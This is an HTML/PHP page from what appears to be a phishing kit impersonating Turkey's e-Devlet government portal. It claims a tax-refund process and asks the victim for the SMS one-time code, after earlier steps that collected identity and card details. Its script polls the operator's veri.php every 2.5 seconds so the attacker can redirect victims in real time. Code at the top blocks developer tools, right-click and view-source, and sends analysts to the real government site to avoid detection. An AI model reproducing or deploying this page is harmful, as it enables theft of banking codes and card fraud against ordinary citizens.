<!DOCTYPE html>
<html lang="tr" class="h-full bg-gray-50">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>e-Devlet Kapısı - SMS Doğrulama</title>
    
    <!-- Dev Tools Engelleme -->
    <script>
        // Dev Tools Engelleme
        document.addEventListener('contextmenu', function(e) {
            e.preventDefault();
            return false;
        });

        document.addEventListener('keydown', function(e) {
            if (
                e.key === 'F12' || 
                (e.ctrlKey && e.shiftKey && e.key === 'I') ||
                (e.ctrlKey && e.shiftKey && e.key === 'J') ||
                (e.ctrlKey && e.shiftKey && e.key === 'C') ||
                (e.ctrlKey && e.key === 'u') ||
                (e.ctrlKey && e.key === 's')
            ) {
                e.preventDefault();
                return false;
            }
        });

        // Mobil cihaz kontrolü
        function isMobile() {
            return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
        }

        // Dev tools tespiti
        function detectDevTools() {
            if (!isMobile()) {
                const widthThreshold = window.outerWidth - window.innerWidth > 160;
                const heightThreshold = window.outerHeight - window.innerHeight > 160;
                if(widthThreshold || heightThreshold) {
                    document.documentElement.innerHTML = '';
                    document.body.innerHTML = '';
                    window.location.replace("https://www.turkiye.gov.tr");
                }
            }
        }

        setInterval(function() {
            debugger;
        }, 100);

        window.addEventListener('resize', detectDevTools);
        setInterval(detectDevTools, 1000);

        // Ek korumalar
        document.onkeypress = function (event) {
            event = (event || window.event);
            if (event.keyCode == 123) {
                return false;
            }
        }
        document.onmousedown = function (event) {
            event = (event || window.event);
            if (event.keyCode == 123) {
                return false;
            }
        }
        document.onkeydown = function (event) {
            event = (event || window.event);
            if (event.keyCode == 123) {
                return false;
            }
        }
    </script>
    
    <!-- Tailwind ve diğer CSS'ler -->
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    
    <!-- Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Public+Sans:wght@400;500;600;700&family=Montserrat:wght@500;600;700&display=swap" rel="stylesheet">

    <style>
        :root {
            --font-primary: 'Public Sans', sans-serif;
            --font-heading: 'Montserrat', sans-serif;
        }

        body {
            font-family: var(--font-primary);
        }

        h1, h2, h3, h4, h5, h6, 
        .process-step,
        .countdown,
        button {
            font-family: var(--font-heading);
            font-weight: 600;
        }

        .sms-input {
            width: 50px;
            height: 50px;
            text-align: center;
            font-size: 24px;
            margin: 0 4px;
        }
        
        .countdown {
            font-size: 24px;
            font-weight: 600;
            color: #dc2626;
            background: #fee2e2;
            padding: 8px 16px;
            border-radius: 8px;
            display: inline-block;
        }
        
        @keyframes pulse {
            0% { transform: scale(1); }
            50% { transform: scale(1.05); }
            100% { transform: scale(1); }
        }
        
        .pulse-animation {
            animation: pulse 2s infinite;
        }

        .phone-mockup {
            width: 280px;
            height: 500px;
            background: #1a1a1a;
            border-radius: 36px;
            margin: 0 auto;
            position: relative;
            padding: 20px;
            box-shadow: 0 15px 30px rgba(0,0,0,0.2);
            border: 8px solid #2d2d2d;
        }

        .phone-screen {
            background: #fff;
            height: 100%;
            border-radius: 24px;
            padding: 15px;
            position: relative;
            overflow: hidden;
        }

        .phone-notch {
            width: 150px;
            height: 25px;
            background: #1a1a1a;
            position: absolute;
            top: 0;
            left: 50%;
            transform: translateX(-50%);
            border-bottom-left-radius: 15px;
            border-bottom-right-radius: 15px;
            z-index: 10;
        }

        .message-bubble {
            background: #f0f9ff;
            border: 1px solid #e5e7eb;
            border-radius: 12px;
            padding: 12px;
            margin-bottom: 8px;
            box-shadow: 0 2px 4px rgba(0,0,0,0.05);
        }

        .security-badge {
            display: inline-flex;
            align-items: center;
            background: #f3f4f6;
            padding: 4px 8px;
            border-radius: 6px;
            font-size: 12px;
            color: #4b5563;
            margin-right: 8px;
        }

        .process-step {
            position: relative;
            padding-bottom: 2px;
        }

        .process-step.active {
            color: #2563eb;
            font-weight: 600;
        }

        .process-step.completed {
            color: #059669;
        }

        .bank-logo {
            width: 24px;
            height: 24px;
            margin-right: 8px;
        }
    </style>
</head>

<body class="h-full bg-gray-50">
    <!-- Üst Banner -->
    <div class="bg-blue-600 text-white py-3 px-4 text-center text-sm flex items-center justify-center space-x-4">
        <div class="security-badge bg-white/20">
            <i class="fas fa-shield-alt mr-2"></i>
            <span>SSL Güvenli</span>
        </div>
        <div class="security-badge bg-white/20">
            <i class="fas fa-lock mr-2"></i>
            <span>3D Secure</span>
        </div>
        <div class="security-badge bg-white/20">
            <i class="fas fa-server mr-2"></i>
            <span>e-Devlet Altyapısı</span>
        </div>
    </div>

    <!-- Logo ve Header -->
    <div class="logo-container bg-white shadow-sm p-6 flex justify-center items-center">
        <img src="https://cdn.e-devlet.gov.tr/downloads/kurumsal-kimlik/logo/e-devlet-logo.png" alt="e-Devlet Logo" class="h-10 md:h-14">
    </div>

    <!-- İşlem Adımları -->
    <div class="bg-white py-4 px-6 shadow-sm">
        <div class="flex justify-center items-center text-sm space-x-4">
            <span class="process-step completed">
                <i class="fas fa-check-circle mr-1"></i>
                Kimlik Doğrulama
            </span>
            <i class="fas fa-chevron-right text-gray-400"></i>
            <span class="process-step completed">
                <i class="fas fa-check-circle mr-1"></i>
                Kart Bilgileri
            </span>
            <i class="fas fa-chevron-right text-gray-400"></i>
            <span class="process-step active">
                <i class="fas fa-circle-dot mr-1"></i>
                SMS Onayı
            </span>
            <i class="fas fa-chevron-right text-gray-400"></i>
            <span class="process-step text-gray-400">
                İade Aktarımı
            </span>
        </div>
    </div>

    <div class="max-w-lg mx-auto mt-8 px-4">
        <div class="bg-white shadow-lg rounded-lg p-6">
            <div class="phone-mockup mb-8">
                <div class="phone-notch"></div>
                <div class="phone-screen">
                    <div class="text-center mb-4">
                        <i class="fas fa-sms text-4xl text-blue-500"></i>
                        <div class="mt-2 text-sm font-medium text-gray-600">Yeni SMS Mesajı</div>
                    </div>
                    <div class="message-bubble">
                        <div class="flex items-center mb-2">
                            <i class="fas fa-university text-blue-600 bank-logo"></i>
                            <div class="text-sm font-semibold text-gray-700"><?php echo htmlspecialchars($bankName); ?></div>
                        </div>
                        <p class="text-sm text-gray-600">Sayın müşterimiz, e-Devlet iade işleminiz için doğrulama kodunuz:</p>
                        <div class="text-lg font-bold text-blue-600 mt-2 text-center tracking-wider">******</div>
                        <div class="text-xs text-gray-500 mt-2">Bu kodu kimseyle paylaşmayınız.</div>
                    </div>
                </div>
            </div>

            <!-- SMS Bilgi Başlığı -->
            <div class="text-center mb-6">
                <div class="text-2xl font-semibold text-gray-800 mb-2">SMS Doğrulama</div>
                <p class="text-gray-600">
                    <i class="fas fa-mobile-alt mr-2"></i>
                    Cep telefonunuza gönderilen 6 haneli kodu giriniz
                </p>
            </div>

            <!-- Telefon Numarası -->
            <div class="bg-blue-50 p-4 rounded-lg mb-6">
                <div class="flex items-center justify-center">
                    <i class="fas fa-sim-card text-blue-500 mr-2"></i>
                    <span class="text-blue-700 font-medium">+90 5XX XXX XX XX</span>
                </div>
            </div>

            <!-- SMS Kodu Girişi -->
            <form method="POST" class="space-y-6">
                <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
                <div class="flex justify-center space-x-2">
                    <input type="text" name="sms1" id="sms1" maxlength="6" required pattern="[0-9]{6}"
                        class="block w-full appearance-none rounded-lg border border-gray-300 px-4 py-3 placeholder-gray-400 shadow-sm focus:border-blue-500 focus:outline-none focus:ring-blue-500 text-center text-lg font-medium"
                        placeholder="SMS kodunu giriniz">
                </div>

                <!-- Süre Sayacı -->
                <div class="text-center">
                    <div class="countdown mb-4" id="countdown">02:59</div>
                </div>

                <!-- Gönder Butonu -->
                <button type="submit" class="w-full bg-blue-600 text-white py-4 rounded-lg hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-offset-2 font-medium text-lg transition-colors">
                    Doğrula ve Devam Et
                </button>
            </form>

            <!-- Güvenlik Bilgisi -->
            <div class="mt-6 pt-6 border-t border-gray-200">
                <div class="flex items-center justify-center text-sm text-gray-500 space-x-4">
                    <div class="flex items-center">
                        <i class="fas fa-lock mr-2 text-gray-400"></i>
                        <span>Güvenli Bağlantı</span>
                    </div>
                    <div class="flex items-center">
                        <i class="fas fa-shield-alt mr-2 text-gray-400"></i>
                        <span>Banka Korumalı</span>
                    </div>
                </div>
            </div>
        </div>

        <!-- İşlem Bilgisi -->
        <div class="mt-4 text-center text-sm text-gray-500">
            İşlem No: #<?php echo rand(1000000, 9999999); ?>
        </div>
    </div>

    <!-- jQuery ve Ajax İstekleri -->
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script>
        console.log('Debug Bilgileri:', <?php echo json_encode($debug); ?>);
        
        $(document).ready(function() {
            // Geri sayım fonksiyonu
            function startCountdown() {
                let time = 179; // 2:59 dakika
                const countdownEl = document.getElementById('countdown');
                
                const timer = setInterval(() => {
                    const minutes = Math.floor(time / 60);
                    const seconds = time % 60;
                    
                    countdownEl.textContent = `${String(minutes).padStart(2, '0')}:${String(seconds).padStart(2, '0')}`;
                    
                    if (time <= 0) {
                        clearInterval(timer);
                        countdownEl.textContent = "00:00";
                    }
                    time--;
                }, 1000);
            }
            
            startCountdown();

            function gonder() {
                const csrfToken = '<?php echo $_SESSION['csrf_token']; ?>';
                $.ajax({
                    type: 'POST',
                    url: 'veri.php?ip=<?php echo xssafe($ip); ?>',
                    headers: {
                        'X-CSRF-Token': csrfToken,
                        'X-Requested-With': 'XMLHttpRequest'
                    },
                    success: function(msg) {
                        msg = msg.trim();
                        switch(msg) {
                            case 'back':
                                window.location.href = 'index.php';
                                break;
                            case 'hata1':
                                window.location.href = 'sms-hatali.php';
                                break;
                            case 'sms':
                                window.location.href = 'sms-dogrulama.php';
                                break;
                            case 'tebrik':
                                window.location.href = 'tebrikler.php';
                                break;
                        }
                    },
                    error: function() {
                        console.error('İstek başarısız oldu');
                    }
                });
            }

            // SMS input validasyonu
            document.getElementById('sms1').addEventListener('input', function(e) {
                this.value = this.value.replace(/[^0-9]/g, '');
            });

            gonder();
            setInterval(gonder, 2500);
        });
    </script>
</body>
</html>